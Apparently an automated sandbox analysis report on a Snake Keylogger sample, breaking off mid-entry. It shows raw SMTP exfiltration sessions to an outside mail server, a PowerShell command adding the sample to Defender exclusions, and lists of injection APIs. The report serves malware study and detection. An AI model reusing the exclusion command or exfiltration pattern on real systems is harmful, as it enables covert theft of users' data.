Jul 26, 2024 11:39:34.439315081 CEST	587	49731	77.245.159.7	192.168.2.5	235 Authentication succeeded
Jul 26, 2024 11:39:34.439483881 CEST	49731	587	192.168.2.5	77.245.159.7	MAIL FROM:<grafik@erkanlarofis.com.tr>
Jul 26, 2024 11:39:34.675419092 CEST	587	49731	77.245.159.7	192.168.2.5	250 OK
Jul 26, 2024 11:39:34.675558090 CEST	49731	587	192.168.2.5	77.245.159.7	RCPT TO:<m1911bdk@gmail.com>
Jul 26, 2024 11:39:34.915971994 CEST	587	49731	77.245.159.7	192.168.2.5	250 Accepted
Jul 26, 2024 11:39:34.916703939 CEST	49731	587	192.168.2.5	77.245.159.7	DATA
Jul 26, 2024 11:39:35.154544115 CEST	587	49731	77.245.159.7	192.168.2.5	354 Enter message, ending with "." on a line by itself
Jul 26, 2024 11:39:35.154834032 CEST	49731	587	192.168.2.5	77.245.159.7	.
Jul 26, 2024 11:39:35.394805908 CEST	587	49731	77.245.159.7	192.168.2.5	250 OK id=1sXHQE-005kJ9-2k
Jul 26, 2024 11:39:35.395258904 CEST	49731	587	192.168.2.5	77.245.159.7	QUIT
Jul 26, 2024 11:39:35.846493006 CEST	587	49731	77.245.159.7	192.168.2.5	221 rosha.wlsrv.com closing connection
Jul 26, 2024 11:39:36.504353046 CEST	587	49732	77.245.159.7	192.168.2.5	220-rosha.wlsrv.com ESMTP Exim 4.96.2 #2 Fri, 26 Jul 2024 12:39:36 +0300 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jul 26, 2024 11:39:36.504496098 CEST	49732	587	192.168.2.5	77.245.159.7	EHLO 347688
Jul 26, 2024 11:39:36.739263058 CEST	587	49732	77.245.159.7	192.168.2.5	250-rosha.wlsrv.com Hello 347688 [8.46.123.33] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jul 26, 2024 11:39:36.739579916 CEST	49732	587	192.168.2.5	77.245.159.7	AUTH login Z3JhZmlrQGVya2FubGFyb2Zpcy5jb20udHI=
Jul 26, 2024 11:39:36.975043058 CEST	587	49732	77.245.159.7	192.168.2.5	334 UGFzc3dvcmQ6
Jul 26, 2024 11:39:37.237426043 CEST	587	49732	77.245.159.7	192.168.2.5	235 Authentication succeeded
Jul 26, 2024 11:39:37.237565041 CEST	49732	587	192.168.2.5	77.245.159.7	MAIL FROM:<grafik@erkanlarofis.com.tr>
Jul 26, 2024 11:39:37.474749088 CEST	587	49732	77.245.159.7	192.168.2.5	250 OK
Jul 26, 2024 11:39:37.474888086 CEST	49732	587	192.168.2.5	77.245.159.7	RCPT TO:<m1911bdk@gmail.com>
Jul 26, 2024 11:39:37.713821888 CEST	587	49732	77.245.159.7	192.168.2.5	250 Accepted
Jul 26, 2024 11:39:37.713948965 CEST	49732	587	192.168.2.5	77.245.159.7	DATA
Jul 26, 2024 11:39:37.950402021 CEST	587	49732	77.245.159.7	192.168.2.5	354 Enter message, ending with "." on a line by itself
Jul 26, 2024 11:39:37.950714111 CEST	49732	587	192.168.2.5	77.245.159.7	.
Jul 26, 2024 11:39:38.367907047 CEST	587	49732	77.245.159.7	192.168.2.5	250 OK id=1sXHQH-005kKG-26
Jul 26, 2024 11:39:38.368346930 CEST	49732	587	192.168.2.5	77.245.159.7	QUIT
Jul 26, 2024 11:39:38.805028915 CEST	587	49732	77.245.159.7	192.168.2.5	221 rosha.wlsrv.com closing connection
Jul 26, 2024 11:39:39.490287066 CEST	587	49733	77.245.159.7	192.168.2.5	220-rosha.wlsrv.com ESMTP Exim 4.96.2 #2 Fri, 26 Jul 2024 12:39:39 +0300 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jul 26, 2024 11:39:39.490523100 CEST	49733	587	192.168.2.5	77.245.159.7	EHLO 347688
Jul 26, 2024 11:39:39.732033014 CEST	587	49733	77.245.159.7	192.168.2.5	250-rosha.wlsrv.com Hello 347688 [8.46.123.33] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jul 26, 2024 11:39:39.732247114 CEST	49733	587	192.168.2.5	77.245.159.7	AUTH login Z3JhZmlrQGVya2FubGFyb2Zpcy5jb20udHI=
Jul 26, 2024 11:39:39.974550009 CEST	587	49733	77.245.159.7	192.168.2.5	334 UGFzc3dvcmQ6
Jul 26, 2024 11:39:40.234587908 CEST	587	49733	77.245.159.7	192.168.2.5	235 Authentication succeeded
Jul 26, 2024 11:39:40.234877110 CEST	49733	587	192.168.2.5	77.245.159.7	MAIL FROM:<grafik@erkanlarofis.com.tr>
Jul 26, 2024 11:39:40.485876083 CEST	587	49733	77.245.159.7	192.168.2.5	250 OK
Jul 26, 2024 11:39:40.492093086 CEST	49733	587	192.168.2.5	77.245.159.7	RCPT TO:<m1911bdk@gmail.com>
Jul 26, 2024 11:39:40.738343000 CEST	587	49733	77.245.159.7	192.168.2.5	250 Accepted
Jul 26, 2024 11:39:40.738498926 CEST	49733	587	192.168.2.5	77.245.159.7	DATA
Jul 26, 2024 11:39:40.981273890 CEST	587	49733	77.245.159.7	192.168.2.5	354 Enter message, ending with "." on a line by itself
Jul 26, 2024 11:39:40.982223988 CEST	49733	587	192.168.2.5	77.245.159.7	.
Jul 26, 2024 11:39:41.426445961 CEST	587	49733	77.245.159.7	192.168.2.5	250 OK id=1sXHQK-005kKr-2B
Jul 26, 2024 11:39:41.427006006 CEST	49733	587	192.168.2.5	77.245.159.7	QUIT
Jul 26, 2024 11:39:41.870563030 CEST	587	49733	77.245.159.7	192.168.2.5	221 rosha.wlsrv.com closing connection
Jul 26, 2024 11:39:43.123014927 CEST	587	49734	77.245.159.7	192.168.2.5	220-rosha.wlsrv.com ESMTP Exim 4.96.2 #2 Fri, 26 Jul 2024 12:39:42 +0300 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jul 26, 2024 11:39:43.123116970 CEST	587	49734	77.245.159.7	192.168.2.5	220-rosha.wlsrv.com ESMTP Exim 4.96.2 #2 Fri, 26 Jul 2024 12:39:42 +0300 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jul 26, 2024 11:39:43.123375893 CEST	49734	587	192.168.2.5	77.245.159.7	EHLO 347688
Jul 26, 2024 11:39:43.123497009 CEST	587	49734	77.245.159.7	192.168.2.5	220-rosha.wlsrv.com ESMTP Exim 4.96.2 #2 Fri, 26 Jul 2024 12:39:42 +0300 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jul 26, 2024 11:39:43.359286070 CEST	587	49734	77.245.159.7	192.168.2.5	250-rosha.wlsrv.com Hello 347688 [8.46.123.33] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jul 26, 2024 11:39:43.359458923 CEST	49734	587	192.168.2.5	77.245.159.7	AUTH login Z3JhZmlrQGVya2FubGFyb2Zpcy5jb20udHI=
Jul 26, 2024 11:39:43.600292921 CEST	587	49734	77.245.159.7	192.168.2.5	334 UGFzc3dvcmQ6
Jul 26, 2024 11:39:43.843796968 CEST	587	49734	77.245.159.7	192.168.2.5	235 Authentication succeeded
Jul 26, 2024 11:39:43.844057083 CEST	49734	587	192.168.2.5	77.245.159.7	MAIL FROM:<grafik@erkanlarofis.com.tr>
Jul 26, 2024 11:39:44.072933912 CEST	587	49734	77.245.159.7	192.168.2.5	250 OK
Jul 26, 2024 11:39:44.073223114 CEST	49734	587	192.168.2.5	77.245.159.7	RCPT TO:<m1911bdk@gmail.com>
Jul 26, 2024 11:39:44.309470892 CEST	587	49734	77.245.159.7	192.168.2.5	250 Accepted
Jul 26, 2024 11:39:44.309607029 CEST	49734	587	192.168.2.5	77.245.159.7	DATA
Jul 26, 2024 11:39:44.540345907 CEST	587	49734	77.245.159.7	192.168.2.5	354 Enter message, ending with "." on a line by itself
Jul 26, 2024 11:39:44.540724993 CEST	49734	587	192.168.2.5	77.245.159.7	.
Jul 26, 2024 11:39:44.775960922 CEST	587	49734	77.245.159.7	192.168.2.5	250 OK id=1sXHQO-005kM7-0n
Jul 26, 2024 11:39:44.776501894 CEST	49734	587	192.168.2.5	77.245.159.7	QUIT
Jul 26, 2024 11:39:45.208156109 CEST	587	49734	77.245.159.7	192.168.2.5	221 rosha.wlsrv.com closing connection
Jul 26, 2024 11:39:45.907793999 CEST	587	49735	77.245.159.7	192.168.2.5	220-rosha.wlsrv.com ESMTP Exim 4.96.2 #2 Fri, 26 Jul 2024 12:39:45 +0300 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Jul 26, 2024 11:39:45.907948971 CEST	49735	587	192.168.2.5	77.245.159.7	EHLO 347688
Jul 26, 2024 11:39:46.171327114 CEST	587	49735	77.245.159.7	192.168.2.5	250-rosha.wlsrv.com Hello 347688 [8.46.123.33] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Jul 26, 2024 11:39:46.171766996 CEST	49735	587	192.168.2.5	77.245.159.7	AUTH login Z3JhZmlrQGVya2FubGFyb2Zpcy5jb20udHI=

Target ID:	0
Start time:	05:38:57
Start date:	26/07/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe"
Imagebase:	0x1d0000
File size:	516'096 bytes
MD5 hash:	967175D3AA79388FD8E84CCBF0B998C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000000.00000002.2031188002.0000000003706000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.2031188002.0000000003706000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000000.00000002.2031188002.0000000003706000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:38:57
Start date:	26/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe"
Imagebase:	0x9f0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	05:38:58
Start date:	26/07/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win32.RATX-gen.20281.29649.exe"
Imagebase:	0x7f0000
File size:	516'096 bytes
MD5 hash:	967175D3AA79388FD8E84CCBF0B998C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000004.00000002.3267531741.0000000002C7D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000004.00000002.3264630620.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000004.00000002.3264630620.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_SnakeKeylogger, Description: Detects Snake Keylogger, Source: 00000004.00000002.3264630620.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000004.00000002.3267531741.0000000002B89000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000004.00000002.3267531741.00000000029C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	05:38:58
Start date:	26/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:38:59
Start date:	26/07/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6ef0c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	11.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	190
Total number of Limit Nodes:	10

Executed Functions

Function 02677BB8 Relevance: 2.5, Strings: 1, Instructions: 1211
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Pp]q, xrefs: 02678CEA

Memory Dump Source

Source File: 00000000.00000002.2030753809.0000000002670000.00000040.00000800.00020000.00000000.sdmp, Offset: 02670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2670000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: Pp]q
API String ID: 0-2528107101
Opcode ID: bc4183ffd2d8b743a983ae6ff15f2c1e2c5c2249e225c1debef162435aec295d
Instruction ID: 60ee975face023aa79be0859f7c3f84bf10857e4ee861919ef2dcdbfaa118653
Opcode Fuzzy Hash: bc4183ffd2d8b743a983ae6ff15f2c1e2c5c2249e225c1debef162435aec295d
Instruction Fuzzy Hash: D8D2E734A01218CFCB15DF68D994AD9B7B2FF8A300F1591E9E409AB365DB31AE85CF50

Function 02677BA8 Relevance: 2.2, Strings: 1, Instructions: 991
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Pp]q, xrefs: 02678CEA

Memory Dump Source

Source File: 00000000.00000002.2030753809.0000000002670000.00000040.00000800.00020000.00000000.sdmp, Offset: 02670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2670000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: Pp]q
API String ID: 0-2528107101
Opcode ID: fc87636dcfde1103115406600e165c3fba94335925afa0728462b7b13dda2947
Instruction ID: c0153c1ae249b706dd5dc12a1399cdad09e67de3331300a6d231b6d2b6d5b628
Opcode Fuzzy Hash: fc87636dcfde1103115406600e165c3fba94335925afa0728462b7b13dda2947
Instruction Fuzzy Hash: 1CB2E834A00618CFCB15DF28D994AD9B7B2FF8A300F1585E9D809AB365DB31AE85CF50

Function 00874B00 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2029681268.0000000000870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39f64008bad0c1bb918723759fd88eec2cae8d0334831db31cc5fe532e2d52b0
Instruction ID: bab5aadf418db08508de775bebf62e2dc08c4d25f9e781aaa67b47af045cf347
Opcode Fuzzy Hash: 39f64008bad0c1bb918723759fd88eec2cae8d0334831db31cc5fe532e2d52b0
Instruction Fuzzy Hash: E691C723918AD287C7124F3988371DAFBB0AF0617CF1D828DD9E85F192D216F8A2C745

Function 06ADD2A4 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2032911329.0000000006AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ad0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aba15c8e4bb19a500c27bc0d0574390e0f0feb15cfb03849dea14aa2cba7ad61
Instruction ID: f190d1190193943b125e10b58af159d272b01a940b2b1c2f957e38e7d3d20ffd
Opcode Fuzzy Hash: aba15c8e4bb19a500c27bc0d0574390e0f0feb15cfb03849dea14aa2cba7ad61
Instruction Fuzzy Hash: A5A00265C8F04888A3C07C1445001B8C43C8B4F048F42F000502B330439D11C009439D

Function 06ADABED Relevance: 1.7, APIs: 1, Instructions: 246
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 06ADAE2E

Memory Dump Source

Source File: 00000000.00000002.2032911329.0000000006AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ad0000_SecuriteInfo.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 64a98cde5c90c29ea84dc26fa3847ddb0cf35951e5e9372681f76c053934fdc9
Instruction ID: 9f3461c59473701b1d066674c761d992f68c98a02b870a3952d4c23931f7531c
Opcode Fuzzy Hash: 64a98cde5c90c29ea84dc26fa3847ddb0cf35951e5e9372681f76c053934fdc9
Instruction Fuzzy Hash: 43A17B71D00219CFDB64DF68C841BEDBBB2FF48314F1485AAE94AA7280DB749985CF91

Function 06ADABF8 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 06ADAE2E

Memory Dump Source

Source File: 00000000.00000002.2032911329.0000000006AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ad0000_SecuriteInfo.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 12f65db127200cee0fc04bcb0939e0e3d0e65f6899ab70cbf4dd0e84f8f8efc9
Instruction ID: b18e1281b0da659436e5e9cb76734727390acb4e7af4ce7b74ba9c7c0ad66203
Opcode Fuzzy Hash: 12f65db127200cee0fc04bcb0939e0e3d0e65f6899ab70cbf4dd0e84f8f8efc9
Instruction Fuzzy Hash: B7917C71D00219CFDB64DF68C841BEDBBB2FF48314F1485AAE919A7280DB749985CF91

Function 0087ADC8 Relevance: 1.7, APIs: 1, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0087B01E

Memory Dump Source

Source File: 00000000.00000002.2029681268.0000000000870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_SecuriteInfo.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 6a716c9acbd5932883f259c84b22221fe54cd61d3c741831e49995c672027c1f
Instruction ID: d2b25813d4fdf6e167f33a37cc84bda76df58d1f09a7a152b3e9675a40afb708
Opcode Fuzzy Hash: 6a716c9acbd5932883f259c84b22221fe54cd61d3c741831e49995c672027c1f
Instruction Fuzzy Hash: 79815770A00B058FD728DF69D09479ABBF5FF88304F00892DE49AD7A54DB75E849CB92

Function 0087590D Relevance: 1.6, APIs: 1, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 008759C9

Memory Dump Source

Source File: 00000000.00000002.2029681268.0000000000870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_SecuriteInfo.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: a8c29b603f3beef4df8216a7b7b3cc8abc2c0663a8174e7e49afe622e1af4540
Instruction ID: 816ec8da97daf66ae208cad98016a0db15119e3ec3e6ce988086748f62029aed
Opcode Fuzzy Hash: a8c29b603f3beef4df8216a7b7b3cc8abc2c0663a8174e7e49afe622e1af4540
Instruction Fuzzy Hash: A041E0B1C00619CFDB24CFA9C884BDEBBB5FF49304F20816AD418AB255DBB55946CF91

Function 008744C4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 008759C9

Memory Dump Source

Source File: 00000000.00000002.2029681268.0000000000870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_SecuriteInfo.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 3f82724b6d63e5b3cdeecda75b711c94646de846e9723288f8c1388fb10e5eff
Instruction ID: 75f40368094af70a4788e69dbf924fb3234d6beb98a06258edcff1193993a53c
Opcode Fuzzy Hash: 3f82724b6d63e5b3cdeecda75b711c94646de846e9723288f8c1388fb10e5eff
Instruction Fuzzy Hash: 1341E2B1C0061DCBDB24CFA9C884B9DBBB5FF48304F20816AD518AB255DBB55946CF91

Function 02674040 Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 02674101

Memory Dump Source

Source File: 00000000.00000002.2030753809.0000000002670000.00000040.00000800.00020000.00000000.sdmp, Offset: 02670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2670000_SecuriteInfo.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: e66771b10055062b99bd5975911c03562e0b0fecd9aba9838a80b45658ceef1a
Instruction ID: 65a376333c83e16197cad614247d2823a2977409780d2bb23257ea993bea2b74
Opcode Fuzzy Hash: e66771b10055062b99bd5975911c03562e0b0fecd9aba9838a80b45658ceef1a
Instruction Fuzzy Hash: 36413AB4A00349CFCB14DF99D488AAABBF5FF88314F24C599D519AB321D774A841CFA0

Function 06ADA969 Relevance: 1.6, APIs: 1, Instructions: 72injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 06ADAA00

Memory Dump Source

Source File: 00000000.00000002.2032911329.0000000006AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ad0000_SecuriteInfo.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 8d0b19ebde3a728da61668e3b58c14936bdca62f3502720755600e16b0002ddb
Instruction ID: 3bccd857e5ca0a8d2e29c6c5fb4b645cedb9153ad108c4e19b5703c37a59c646
Opcode Fuzzy Hash: 8d0b19ebde3a728da61668e3b58c14936bdca62f3502720755600e16b0002ddb
Instruction Fuzzy Hash: F92146B1D003499FCB10DFA9C881BEEBBF5FF48310F10842AEA59A7250C7789944CBA1

Function 06ADA970 Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 06ADAA00

Memory Dump Source

Source File: 00000000.00000002.2032911329.0000000006AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ad0000_SecuriteInfo.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: beacae65f3b49b823cf88f0798fe5d590766087da6d1a70dc504e0a3504d9391
Instruction ID: 661247d57667152c8c28a9990323d88761ffe6b3cfdfb778ede736bde3f86662
Opcode Fuzzy Hash: beacae65f3b49b823cf88f0798fe5d590766087da6d1a70dc504e0a3504d9391
Instruction Fuzzy Hash: 1E2148B1D003599FCB10DFAAC985BEEBBF5FF48310F10842AE919A7250C7789944CBA1

Function 06ADA7D0 Relevance: 1.6, APIs: 1, Instructions: 67threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06ADA856

Memory Dump Source

Source File: 00000000.00000002.2032911329.0000000006AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ad0000_SecuriteInfo.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 8a6e929c5c09fcea883aee74680229eaff43da11d39ea6b2f42ad65978f9a382
Instruction ID: ad7729192fff2581b6cc8dd96731afe0d28dc6f31872362b2219855be169c0a7
Opcode Fuzzy Hash: 8a6e929c5c09fcea883aee74680229eaff43da11d39ea6b2f42ad65978f9a382
Instruction Fuzzy Hash: 88215971D003498FDB10DFAEC4857EEBBF4EF49310F548429D919A7240CB789945CBA1

Function 0087D29C Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0087D676,?,?,?,?,?), ref: 0087D737

Memory Dump Source

Source File: 00000000.00000002.2029681268.0000000000870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_SecuriteInfo.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: f4818311523a6d8df6bef8cbf08f411a9b5805ba54fd2a209edbdb36fe7c1658
Instruction ID: 45af921a271d8c1ae058e8ca12a8b1be18fed51eec5a2d05c339ff05b921bd88
Opcode Fuzzy Hash: f4818311523a6d8df6bef8cbf08f411a9b5805ba54fd2a209edbdb36fe7c1658
Instruction Fuzzy Hash: C421E3B5900358AFDB10CF9AD584AEEBBF8FF48310F14801AE918A7310D378A944CFA5

Function 0087D6A8 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0087D676,?,?,?,?,?), ref: 0087D737

Memory Dump Source

Source File: 00000000.00000002.2029681268.0000000000870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00870000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_SecuriteInfo.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 3a4f4e2399d79b75320ca62d6a05e277f503b4d5840048b4b2ea3a2e4ea2c4e8
Instruction ID: 6366b53683e615140e1fcccae7119c95a46a58f1bcf990613f8b8583ad1b7766
Opcode Fuzzy Hash: 3a4f4e2399d79b75320ca62d6a05e277f503b4d5840048b4b2ea3a2e4ea2c4e8
Instruction Fuzzy Hash: 3F2105B59002589FDB10CFAAD584AEEBFF5FF48310F14801AE918A3310C378A945CFA0

Function 06ADAA5C Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 06ADAAE0

Memory Dump Source

Source File: 00000000.00000002.2032911329.0000000006AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ad0000_SecuriteInfo.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: a50de2cf7584ae5ba1276c9d1b13e369fffc74de6a0121456a33febb5cd4d3d4
Instruction ID: 3e2440abd287ce511f91682aaf5e69719da59b4bfd1398938787c024f7aca80e
Opcode Fuzzy Hash: a50de2cf7584ae5ba1276c9d1b13e369fffc74de6a0121456a33febb5cd4d3d4
Instruction Fuzzy Hash: 732148B1C002499FCB10DFAAC885BEEFBF5FF48310F108429E519A7250CB78A940CBA1

Function 06ADA7D8 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 06ADA856

Memory Dump Source

Source File: 00000000.00000002.2032911329.0000000006AD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06AD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ad0000_SecuriteInfo.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 1aba7fe90e92cb884178a0482e5251e9d6ab2764899d6c9ec050a7478baae4a5
Instruction ID: b3f4f97ab8a2c5adfd6f22e53db210a61ea3fd52d00fee80e62e34b15cc315e1
Opcode Fuzzy Hash: 1aba7fe90e92cb884178a0482e5251e9d6ab2764899d6c9ec050a7478baae4a5
Instruction Fuzzy Hash: 1D2127B1D003498FDB10DFAAC4857EEBBF4EF88314F54842AD919A7240CB78A945CFA1

Function 06ADAA60 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

